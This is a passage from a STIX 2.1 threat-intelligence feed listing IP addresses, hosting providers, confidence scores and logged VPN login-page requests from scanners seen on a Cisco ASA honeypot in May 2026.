      "valid_from": "2026-05-05T14:20:04.000Z",
      "valid_until": "2026-06-06T14:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-05T13:58:43.327Z",
          "last_seen": "2026-05-05T13:58:53.115Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T14:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5e13deff-53a2-47f5-831e-298af8fe89be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.83.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:20:04.000Z",
      "valid_until": "2026-06-06T14:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T13:35:26.328Z",
          "last_seen": "2026-05-27T12:30:18.005Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T14:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--3596a8b7-17df-4bcc-9fc0-e40dd2968232",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:20:04.000Z",
      "valid_until": "2026-06-06T14:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T13:40:20.604Z",
          "last_seen": "2026-05-16T02:58:43.713Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T14:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--0f5d6045-54ff-42cd-964a-83745a85d7a5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:20:04.000Z",
      "valid_until": "2026-06-06T14:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-05T14:12:22.004Z",
          "last_seen": "2026-05-30T03:49:52.496Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T14:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8daf1277-b0e8-4f91-a010-5cfcf16a1253",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:20:04.000Z",
      "valid_until": "2026-06-06T14:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-05T13:20:41.090Z",
          "last_seen": "2026-05-29T11:40:00.297Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T14:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--5ae9646e-efc1-47cd-8c8d-32c718aba4e5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.210.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:20:04.000Z",
      "valid_until": "2026-06-06T14:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T14:19:08.192Z",
          "last_seen": "2026-05-24T03:48:12.488Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T14:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--e0b3f77b-d513-48b5-9efa-e359edb99047",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T14:20:04.000Z",
      "valid_until": "2026-06-06T14:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 42,
          "first_seen": "2026-05-05T14:02:17.541Z",
          "last_seen": "2026-05-27T16:12:13.744Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--4d8f28d6-7d42-4917-adfb-ff74f8b4e4e3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.172.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:20:10.000Z",
      "valid_until": "2026-06-06T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T15:12:47.210Z",
          "last_seen": "2026-05-29T17:55:33.302Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--32fb8a92-ba86-45c5-aa11-1261dbad0714",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.110.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:20:10.000Z",
      "valid_until": "2026-06-06T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T14:27:55.020Z",
          "last_seen": "2026-05-26T09:24:09.923Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--33d38447-3483-4e91-af2c-ae8740a5390d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.117.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:20:10.000Z",
      "valid_until": "2026-06-06T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-05T15:08:45.134Z",
          "last_seen": "2026-05-05T15:26:12.027Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f9d04429-d0af-4470-b4b4-0a08de1df8ad",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:20:10.000Z",
      "valid_until": "2026-06-06T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T15:02:17.026Z",
          "last_seen": "2026-05-27T17:53:33.307Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b9d1d788-9c11-4cd0-be9c-0cf0e3007fbf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.97.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:20:10.000Z",
      "valid_until": "2026-06-06T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-05T14:33:45.734Z",
          "last_seen": "2026-05-29T00:53:54.518Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--479dd804-f4e5-4c08-ac85-bcf0937d0602",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:20:10.000Z",
      "valid_until": "2026-06-06T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T14:50:55.984Z",
          "last_seen": "2026-05-07T13:17:51.350Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--989684f0-ec79-47d9-aea4-9319f95d0f80",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T15:20:10.000Z",
      "valid_until": "2026-06-06T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-05T14:50:00.658Z",
          "last_seen": "2026-05-29T18:54:16.552Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--e0e6e2e4-0606-4d59-ae26-818e13cff87d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:20:05.000Z",
      "valid_until": "2026-06-06T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-05T15:37:22.990Z",
          "last_seen": "2026-05-29T03:34:52.318Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--942cb44c-21ce-4545-9866-ea75c9813959",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:20:05.000Z",
      "valid_until": "2026-06-06T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-05T15:54:18.218Z",
          "last_seen": "2026-05-26T19:08:19.132Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--0b159e58-0d2f-44fe-8904-9ce4cc6870cb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:20:05.000Z",
      "valid_until": "2026-06-06T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-05T15:55:10.505Z",
          "last_seen": "2026-05-27T22:54:50.224Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--4ef4001c-cc58-43da-a711-7187870a7faa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:20:05.000Z",
      "valid_until": "2026-06-06T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-05T16:12:28.828Z",
          "last_seen": "2026-05-23T17:58:07.830Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--ec7709c3-6b4a-4a4d-ae77-07d604e6534f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:20:05.000Z",
      "valid_until": "2026-06-06T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T15:22:31.128Z",
          "last_seen": "2026-05-30T08:38:55.323Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d3220cb0-08df-43da-9c6c-265abab6de09",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.111.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T16:20:05.000Z",
      "valid_until": "2026-06-06T16:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T15:27:44.519Z",
          "last_seen": "2026-05-27T20:24:24.719Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-05T16:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d16307de-84db-4dac-8d1d-4eb8b706678f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
